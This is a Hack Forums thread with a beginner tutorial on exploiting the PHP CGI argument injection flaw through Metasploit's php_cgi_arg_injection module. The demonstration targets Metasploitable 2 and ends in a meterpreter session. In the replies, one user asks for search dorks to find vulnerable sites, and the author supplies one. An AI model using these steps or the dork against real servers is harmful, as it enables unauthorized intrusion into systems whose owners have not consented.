

Forum:[Hack Forums](#)

Thread: [\[Tutorial\]PHP CGI ARGUMENT INJECTION using Metasploit\[/Noob-Friendly\]](#)

spirited_wolf™ - September 10, 2016, 2:39 am

"We are enlightenment to some, nightmare to others."

Hello HackForum members ?,

On the behalf of Nightmare group today i would like to demonstrate How we can do PHP CGI ARGUMENT INJECTION using Metasploit.

REFERENCES

So, If have you Don't know about metasploit then check my then tutorials:-

==>[\[Part 1\]\\$~Metasploit for beginners](#)<==

==>[\[Part 2\]\\$~Metasploit for beginners](#)<==

==>[\[Mega Tutorial Links\]A huge Tutorial collection for hackers/Pentesters\[updatated\]](#)<==

So, If you already know about Metasploit then lets start.

The module that we are going to use is :-exploit/multi/http/php_cgi_arg_injection

About this vulnerablity-by Rapid7

So they say-"When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary.""

This means that if we try to pass/add some parameter we can run some arbitrary code using it.

So lets try to exploit it.

We are going to use Metasploitable 2.

1. Open Metasploit console.
2. Then just select php_cgi_arg_injection module.

PHP Code

```
<?php
```

```
msf> use exploit/multi/http/php_cgi_arg_injection
```

3. Now just set the options and exploit.

```
Quote:msf exploit/php_cgi_arg_injection) > set RHOST 172.16.18.134  
RHOST => 172.16.18.134
```

```
msf exploit/php_cgi_arg_injection) > exploit  
And done we got a meterpreter session.
```

4. Wanna check the info then type sysinfo their.

Hope you liked my tutorial ?

It took me 1 Hour to make this tutorial, But it will take only 1 sec. to leave a review/reply here.
Please comment if you like this tutorial.

Check these amazing threads also.

==>[\[Mega Tutorial Links\]A huge Tutorial collection for hackers/Pentesters](#)<==

==>[Beginners Hacking Helpdesk<-Ask Your Questions Here](#)<==

==>[\[Mega Tutorial Links\]SQL-Injection all tutorials by Spirit](#)<==

==>[An ultimate reference for all Beginners Hackers](#)<==

Thanks ?

Forc?d - September 10, 2016, 2:46 am

Good demonstration of simple Metasploit execution, any dorks for the vulnerable php pages?

spirited_wolf™ - September 10, 2016, 2:51 am

(Sep 10, 2016 02:46 AM)Forc?d Wrote: [\[CITE\]](#) Good demonstration of simple Metasploit execution, any dorks for the vulnerable php pages?

Thanks for the reply mate ? and i am glad to hear that you liked it as well. ?

This is the only old dork that i know:-Intext:"Powered By phpFox Version 3.0.1"

Thanks ?

Anxious.exe - September 10, 2016, 5:14 am

Vouch for OP. Nice tutorial, bookmarked.

spirited_wolf™ - September 10, 2016, 7:28 am

(Sep 10, 2016 05:14 AM)Anxious.exe Wrote: [\[CITE\]](#) Vouch for OP. Nice tutorial, bookmarked.
Thanks brother Hope you will like these tutorials also ?

==>[\[Mega Tutorial Links\]A huge Tutorial collection for hackers/Pentesters](#)<==

Thanks ?

SIM-345911 - September 10, 2016, 9:33 am

Cool! Gonna give it a shot right now!

spirited_wolf™ - September 10, 2016, 10:43 am

(Sep 10, 2016 09:33 AM)pj1234678 Wrote: [\[CITE\]](#) Cool! Gonna give it a shot right now!
Sure Best of luck ?

Mysticalcx - September 10, 2016, 11:40 am

Looks good op, you seem to know what you are doing

spirited_wolf™ - September 12, 2016, 12:25 am

(Sep 10, 2016 11:40 AM)Mysticalcx Wrote: [\[CITE\]](#) Looks good op, you seem to know what you are doing
thanks brother ?

Gee4rce - September 12, 2016, 11:36 am

Nice and HQ contribution here! Short of words, but covers all the necessary steps, HQ add.

Again, a shame you have been denied for ub3r i hope one day you may have luck by trying again, that time getting accepted then hopefully.

Keep it up mate, your contributions are very appreciated. Cheers, Gee.

spirited_wolf™ - September 12, 2016, 3:22 pm

(Sep 12, 2016 11:36 AM)Gee4rce Wrote: [\[CITE\]](#) Nice and HQ contribution here! Short of words, but covers all the necessary steps, HQ add.

Again, a shame you have been denied for ub3r i hope one day you may have luck by trying again, that time getting accepted then hopefully.

Keep it up mate, your contributions are very appreciated. Cheers, Gee.

Thanks for your kind words brother , really appreciated ?

savetree - August 8, 2021, 12:47 am

thank you you are the best